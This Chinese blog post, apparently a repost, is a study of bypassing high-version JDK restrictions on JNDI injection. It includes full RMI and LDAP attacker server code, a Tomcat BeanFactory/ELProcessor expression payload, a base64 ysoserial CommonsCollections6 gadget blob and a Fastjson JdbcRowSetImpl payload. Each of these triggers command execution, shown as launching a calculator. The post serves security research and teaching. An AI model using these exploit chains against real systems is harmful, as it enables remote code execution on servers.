Java反序列化(之)JNDI注入绕过高版本限制

Java反序列化(之)JNDI注入绕过高版本限制,第1张

Java反序列化(之)JNDI注入绕过高版本限制 前言

JNDI注入绕过高版本限制已经被别人玩烂了,我才开始学。参考文章写的特别好。

本文大部分参考https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

JNDI注入

暂时只了解到 JNDI注入分为如下几类

  1. RMI Remote Object Payload(限制较多,不常使用)
  2. RMI + JNDI Reference Payload
  3. LDAP + JNDI Reference Payload
  4. CORBA攻击

对于CORBA我直接放弃。

注:以下都摘自https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

RMI Remote Object Payload

攻击者实现一个RMI恶意远程对象并绑定到RMI Registry上,编译后的RMI远程对象类可以放在HTTP/FTP/SMB等服务器上,这个Codebase地址由远程服务器的 java.rmi.server.codebase 属性设置,供受害者的RMI客户端远程加载,RMI客户端在 lookup() 的过程中,会先尝试在本地CLASSPATH中去获取对应的Stub类的定义,并从本地加载,然而如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象,这种方式将会受到 useCodebaseonly 的限制。利用条件如下:

  1. RMI客户端的上下文环境允许访问远程Codebase。
  2. 属性 java.rmi.server.useCodebaseonly 的值必需为false。

然而从JDK 6u45、7u21开始,java.rmi.server.useCodebaseonly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

Changelog:

  1. JDK 6u45 https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/relnotes.html
  2. JDK 7u21 http://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html
RMI + JNDI Reference Payload

这也是我们在《深入理解JNDI注入与Java反序列化漏洞利用》中主要讨论的利用方式。攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类,但是原理上并非使用RMI Class Loading机制的,因此不受 java.rmi.server.useCodebaseonly 系统属性的限制,相对来说更加通用。

但是在JDK 6u132, JDK 7u122, JDK 8u113 JDK 6u141, JDK 7u131, JDK 8u121 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为true。

注:上一段中JDK小版本号与下文Changelog对应的JDK小版本号不匹配,已更正,感谢@Satan指出~

想了解Java所有历史版本信息,可以移步:https://en.wikipedia.org/wiki/Java_version_history

Changelog:

  1. JDK 6u141 http://www.oracle.com/technetwork/java/javase/overview-156328.html#R160_141
  2. JDK 7u131 http://www.oracle.com/technetwork/java/javase/7u131-relnotes-3338543.html
  3. JDK 8u121 http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html
LDAP + JNDI Reference Payload

除了RMI服务之外,JNDI还可以对接LDAP服务,LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。

不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。

注:以上都摘自https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

综述

RMI Remote Object Payload限制较多,在JDK 6u45、7u21以上,java.rmi.server.useCodebaseOnly默认值为true了。防止RMI客户端VM从其他Codebase地址上动态加载类。

对于RMI + JNDI Reference Payload,不受useCodebaseOnly的影响,因为他使用的是URLClassLoader加载远程类。而不是RMI Class loading。具体代码可查看参考文章。但在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。

对于LDAP + JNDI Reference Payload服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,但是在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。

绕过JDK 8u191+等高版本限制

所以对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。两种绕过方法如下:

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化 *** 作,利用反序列化Gadget完成命令执行。
利用本地Class作为Reference Factory

在高版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance()方法。org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。

首先我本地使用的是JDK 8u202版本,
需要的依赖:


    org.apache.tomcat.embed
    tomcat-embed-core
    8.5.35



    org.apache.tomcat.embed
    tomcat-embed-el
    8.5.35

RMI服务端代码(攻击者部署)

package com.darkerbox.jndi.HignJdk;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMIServer {

    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
        ref.add(new StringRefAddr("forceString", "Vicl1fe=eval"));
        ref.add(new StringRefAddr("Vicl1fe", """.getClass().forName("javax.script.scriptEngineManager").newInstance().getEngineByName("Javascript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()")"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("aa", referenceWrapper);
    }
}

客户端代码不变。

package com.darkerbox.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://127.0.0.1:1099/aa";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

先运行服务端,再运行客户端,也是可以成功d出计算器。下面分析一下原理。

至于怎么到BeanFactory#getObjectInstance的,这里就不细说了,上篇文章我觉得比较详细了。放一张图。

在服务端定义ResourceRef的时候就已经将工厂类定义为了BeanFactory,所以会进入BeanFactory#getObjectInstance方法。

下面就是BeanFactory#getObjectInstance。我会省略一些代码

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws NamingException {
	// 这里的obj就是我们在服务端定义的ResourceRef对象,所以会进入if判断
    if (obj instanceof ResourceRef) {
        try {
            Reference ref = (Reference)obj;
            String beanClassName = ref.getClassName();// javax.el.ELProcessor
            Class beanClass = null;
            ClassLoader tcl = Thread.currentThread().getContextClassLoader(); // 获取类加载器
			// 成功获取类加载器就会进入if判断
            if (tcl != null) {
                try {
                	// 这里直接使用类加载器加载javax.el.ELProcessor
                    beanClass = tcl.loadClass(beanClassName);
                } catch (ClassNotFoundException var26) {
                }
            } else {
                try {
                    beanClass = Class.forName(beanClassName);
                } catch (ClassNotFoundException var25) {
                    var25.printStackTrace();
                }
            }
			// 如果没有加载成功,则抛出异常
            if (beanClass == null) {
                throw new NamingException("Class not found: " + beanClassName);
            } else {// 进入这里
                BeanInfo bi = Introspector.getBeanInfo(beanClass);
                PropertyDescriptor[] pda = bi.getPropertyDescriptors();
                Object bean = beanClass.getConstructor().newInstance();// 这里实例化了javax.el.ELProcessor
                RefAddr ra = ref.get("forceString");// 这里获取forceString对应的RefAddr对象,RMI服务端代码中有定义
                Map forced = new HashMap();
                String value;
                String propName;
                int i;
                if (ra != null) {
                    value = (String)ra.getContent();// 获取到Vicl1fe=eval
                    Class[] paramTypes = new Class[]{String.class};
                    String[] arr$ = value.split(","); // 如果是多个值,用','分割。
                    i = arr$.length;

                    for(int i$ = 0; i$ < i; ++i$) {
                        String param = arr$[i$];// Vicl1fe=eval
                        param = param.trim();// Vicl1fe=eval
                        int index = param.indexOf(61); // 获取'='的位置。获取到则进入if判断,这来index值为7
                        // 这里进入if判断
                        if (index >= 0) {
                            propName = param.substring(index + 1).trim();// eval
                            param = param.substring(0, index).trim(); // Vicl1fe
                        } else {
                        	// 如果没有获取到'=',则进入else判断
                        	// 这里会在前面加'set',然后拼接param,并且param首字母大写。
                            propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
                        }
				
                        try {
                        	// 这里向Hashmap中添加一个元素
                        	// key为Vicl1fe,value是eval方法。最终就是执行ELProcessor的eval方法。
                            forced.put(param, beanClass.getMethod(propName, paramTypes));
                        } catch (SecurityException | NoSuchMethodException var24) {
                            throw new NamingException("Forced String setter " + propName + " not found for property " + param);
                        }
                    }
                }

                Enumeration e = ref.getAll();

                while(true) {
                    while(true) {
                        do {
                            do {
                                do {
                                    do {
                                        do {
                                            if (!e.hasMoreElements()) {
                                                return bean;
                                            }

                                            ra = (RefAddr)e.nextElement();
                                            propName = ra.getType(); 
                                        } while(propName.equals("factory"));
                                    } while(propName.equals("scope"));
                                } while(propName.equals("auth"));
                            } while(propName.equals("forceString"));
                        } while(propName.equals("singleton"));
						// 上面5个do While循环我感觉就是排除掉Reference类中addrs属性里面自身自带的属性。如factory、scope等。
						// 因为我们在服务端也主动加了ref.add(new StringRefAddr("Vicl1fe", """.getClass().forName("javax.script.scriptEngineManager").newInstance().getEngineByName("Javascript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()")"));
						
						// 所以排除过后。这里ra即new StringRefAddr("Vicl1fe", """.getClass().forName("javax.script.scriptEngineManager").newInstance().getEngineByName("Javascript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()")")
                        value = (String)ra.getContent(); // "".getClass().forName("javax.script.scriptEngineManager").newInstance().getEngineByName("Javascript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()")
                        Object[] valueArray = new Object[1];
                        // 这里propName值为Vicl1fe,则获取的是eval方法对象。
                       
                        Method method = (Method)forced.get(propName);
                        if (method != null) {
                            valueArray[0] = value;

                            try {
                            	// 这里直接执行了ELProcessor#eval方法
                            	// 可以理解为Beanfactory#getObjectInstance方法中调用任意类的任意方法,并可传入参数,该方法必须存在才可。
                                method.invoke(bean, valueArray);
                            } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
                                throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
                            }
                        } else {
                            int i = false;

                            // 省略...
                    }
                }
            }
    } else {
        return null;
    }
}

后面就是分析ELProcessor.eval是如何解析"".getClass().forName("javax.script.scriptEngineManager").newInstance().getEngineByName("Javascript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()")。然后命令执行的。

自己对EL表达式也不熟,也在EL表达式里跟了半天。比较麻烦,不打算在文章里细说,大概说一下流程:
进入ELProcessor的eval方法后,会解析"".getClass().forName("javax.script.scriptEngineManager").newInstance().getEngineByName("Javascript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()"),将里面的每个方法(getClass、forName、newInstance等),每个参数放到一个Vector里。然后依次调用里面的方法。最终会调用NashornscriptEngine#eval方法。传入的参数为new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()。后面就会成功的命令执行。
附一张堆栈图吧,有兴趣的可以再深入跟一下

这种绕过方式需要目标环境中存在Tomcat相关依赖,当然其他Java Server可能也存在可被利用的Factory类,可以进一步研究。

总结一下,该利用方式可以通过BeanFactory#getObjectInstance实例化任意类的默认构造方法(即无参数的构造方法)的对象(该类必须可实例化,为public),之后会通过反射去调用该类的任意方法,但是该方法必须是一个参数,参数必须是String类型。
可以通过上面总结的去找找其他的利用链。

利用LDAP返回序列化数据,触发本地Gadget 低版本的LDAP

这里先简单说一下低版本下的ldap,因为之前也没分析过。低版本下的ldap服务端在上篇文章中提到了。这里不放代码了,至于客户端也都是一样的。

因为这里我不打算细说,所以先放前面一些无关紧要的堆栈图

此时已经跟在LdapCtx#c_lookup方法中,师傅们可以直接下断点。

protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
    // 省略...
    try {
        // 省略...
        // 这里会请求ldap服务端,得到LdapResult。
        LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
        this.respCtls = var23.resControls;
        if (var23.status != 0) {
            this.processReturnCode(var23, var1);
        }

         // 省略...
		// Obj.JAVA_ATTRIBUTES[2]的值为javaClassName。
		// 这里的var4其实就是ldap服务端的Entry对象。可能中间封装过,但可以这么去理解。我们在ldap服务端已经这是了javaClassName为foo。
		// 这里会判断var4是否存在javaClassName。
		// 这里会进入
        if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
            var3 = Obj.decodeObject((Attributes)var4);
        }
        // decodeObject源码如下,凑合着吧,
        ```
		static Object decodeObject(Attributes var0) throws NamingException {
	        String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
	
	        try {
	            Attribute var1;
	            // JAVA_ATTRIBUTES[0] = "objectClass"
				// JAVA_ATTRIBUTES[1] = "javaSerializedData"
				// JAVA_ATTRIBUTES[2] = "javaClassName"
				// JAVA_ATTRIBUTES[3] = "javaFactory"
				// JAVA_ATTRIBUTES[4] = "javaCodebase"
				// JAVA_ATTRIBUTES[5] = "javaReferenceAddress"
				// JAVA_ATTRIBUTES[6] = "javaClassNames"
				// JAVA_ATTRIBUTES[7] = "javaRemoteLocation"
	            
	            // 这里的判断
	            if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
	                ClassLoader var3 = helper.getURLClassLoader(var2);
	                return deserializeObject((byte[])((byte[])var1.get()), var3);
	            } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
	                return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
	            } else {// 进入这里
	            // String[] JAVA_OBJECT_CLASSES = new String[]{"javaContainer", "javaObject", "javaNamingReference", "javaSerializedObject", "javaMarshalledObject"};
    			// String[] JAVA_OBJECT_CLASSES_LOWER = new String[]{"javacontainer", "javaobject", "javanamingreference", "javaserializedobject", "javamarshalledobject"};
    			// 所以会进入decodeReference方法,该方法里获取了Reference对象,即classFactoryLocation、classFactory等信息。
	                var1 = var0.get(JAVA_ATTRIBUTES[0]);
	                return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
	            }
	        } catch (IOException var5) {
	            NamingException var4 = new NamingException();
	            var4.setRootCause(var5);
	            throw var4;
	        }
	    }
		```
		
	// 省略...
    try {
    	// 进入这里
    	// var3就是获取到的Reference对象.
        return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
        // 进入该方法后会调用NamingManager#getObjectFactoryFromReference。进入这个方法后其实就和RMi的一样的。你会发现RMI最终也是调用这个方法。在该方法里会通过Reference对象获取到codebase。然后远程加载恶意类。
        
    } catch (NamingException var16) {
        throw var2.fillInException(var16);
    } catch (Exception var17) {
        NamingException var24 = new NamingException("problem generating object using object factory");
        var24.setRootCause(var17);
        throw var2.fillInException(var24);
    }
}

高版本的LDAP

上面说了低版本下的LDAP的大概流程。下面再看看高版本的区别。我这里高版本还是用的202

在高版本jdk中NamingManager#getObjectFactoryFromReference方法中,这里是RMI和JNDI都会调用的地方。

跟进loadClass方法。

public Class loadClass(String className, String codebase)
            throws ClassNotFoundException, MalformedURLException {
     // ,trustURLCodebase默认为false
     // 这里有个if判断,因为默认为fasle,所以进入else,返回null
    if ("true".equalsIgnoreCase(trustURLCodebase)) {
        ClassLoader parent = getContextClassLoader();
        ClassLoader cl =
                URLClassLoader.newInstance(getUrlArray(codebase), parent);

        return loadClass(className, cl);
    } else {
        return null;
    }
}

这就是jdk高版本ldap下不可用的原因。

LDAP绕过高版本限制

LDAP全称是轻量级目录访问协议(The Lightweight Directory Access Protocol),它提供了一种查询、浏览、搜索和修改互联网目录数据的机制,运行在TCP/IP协议栈之上,基于C/S架构。除了RMI服务之外,JNDI也可以与LDAP目录服务进行交互。

Java对象在LDAP目录中也有多种存储形式,如下:

  • Java序列化
  • JNDI Reference
  • Marshalled对象
  • Remote Location (已弃用)

LDAP可以为存储的Java对象指定多种属性:

  • javaCodebase
  • objectClass
  • javaFactory
  • javaSerializedData

注意一个是对象的存储形式,一个是给对象指定多种属性

javaCodebase可以指定远程的URL,这样攻击者可以控制加载的类。通过Reference方式进行利用。(即Reference + javaCodebase)众所周知,高版本JVM对Reference Factory远程加载类进行了安全限制,JVM不会信任LDAP对象反序列化过程中加载的远程类。既然不能加载远程类,那我们可以加载本地的classpath中存在反序列化漏洞的类。例如commons-collections 3.1。

也就是说。LDAP除了可以利用JNDI Reference外,也可以直接返回一个序列化数据。即(Java序列化 + javaSerializedData)。接下来就细说该方法。

此时我们需要加一个依赖,因为我们需要让他本地存在反序列化漏洞。

  
      commons-collections
      commons-collections
      3.1
  

LDAP服务端代码如下,其中javaSerializedData是通过ysoserial的CC6来生成的。

package com.darkerbox.jndi.HignJdk;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPServer {

    private static final String LDAP_base = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8089/#ExecTest"};
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_base);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getbaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
                  URL turl = new URL(this.codebase, this.codebase.getRef().replace('.',
       '/').concat(".class"));
                  System.out.println("Send LDAP reference result for " + base + " redirecting to "
       + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            
            // e.addAttribute("javaCodebase", cbstring);
            // e.addAttribute("objectClass", "javaNamingReference");
            // e.addAttribute("javaFactory", this.codebase.getRef());

            
            try {
                // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
                e.addAttribute("javaSerializedData",base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AAhjYWxjLmV4ZXQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4"));
            } catch (ParseException e1) {
                e1.printStackTrace();
            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

客户端代码还是老样子。

先运行服务端,再运行客户端。

断点下在com.sun.jndi.ldap.Obj#decodeObject方法。该方法上面也提到过

static Object decodeObject(Attributes var0) throws NamingException {
    String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

    try {
        Attribute var1;
        // JAVA_ATTRIBUTES[1]值为javaSerializedData。只要该值不为null,则就进入if判断
        // 在LDAP服务端的时候我们已经设置过了javaSerializedData,所以此处进入了if判断
        if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
        	// 这里的var1就是我们的序列化的payload
        	// var3是AppClassLoader
            ClassLoader var3 = helper.getURLClassLoader(var2);
            // 进入此处deserializeObject
            return deserializeObject((byte[])((byte[])var1.get()), var3);
        } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
            return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
        } else {
            var1 = var0.get(JAVA_ATTRIBUTES[0]);
            return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
        }
    } catch (IOException var5) {
        NamingException var4 = new NamingException();
        var4.setRootCause(var5);
        throw var4;
    }
}

com.sun.jndi.ldap.Obj#deserializeObject

private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
        try {// var0就是我们的cc6
            ByteArrayInputStream var2 = new ByteArrayInputStream(var0);

            try {
                Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
                Throwable var21 = null;

                Object var5;
                try {
                	// 我这里调试的时候一直调不到这里,打算最后强制进入,还是进入了readObject方法,说明最终是肯定会执行readObject的。
                	// 这里也就成功d出了计算器
                    var5 = ((ObjectInputStream)var20).readObject();
                } catch (Throwable var16) {
                    var21 = var16;
                    throw var16;
                } finally {
                    if (var20 != null) {
                        if (var21 != null) {
                            try {
                                ((ObjectInputStream)var20).close();
                            } catch (Throwable var15) {
                                var21.addSuppressed(var15);
                            }
                        } else {
                            ((ObjectInputStream)var20).close();
                        }
                    }

                }

                return var5;
            } catch (ClassNotFoundException var18) {
                NamingException var4 = new NamingException();
                var4.setRootCause(var18);
                throw var4;
            }
        } catch (IOException var19) {
            NamingException var3 = new NamingException();
            var3.setRootCause(var19);
            throw var3;
        }
    }

这种绕过方式需要利用一个本地的反序列化利用链(如CommonsCollections),然后可以结合Fastjson等漏洞入口点和JdbcRowSetImpl进行组合利用。
例如如下代码即可:

package com.darkerbox.jndi;

import com.alibaba.fastjson.JSON;

public class Client {
    public static void main(String[] args) throws Exception {
        String payload ="{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":"true" }";
        JSON.parse(payload);
    }
}
最后

文章中很多都参考了https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html该文章。对原作者致谢。我也在seebug看到了相同的文章https://paper.seebug.org/942/

参考

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5686791.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存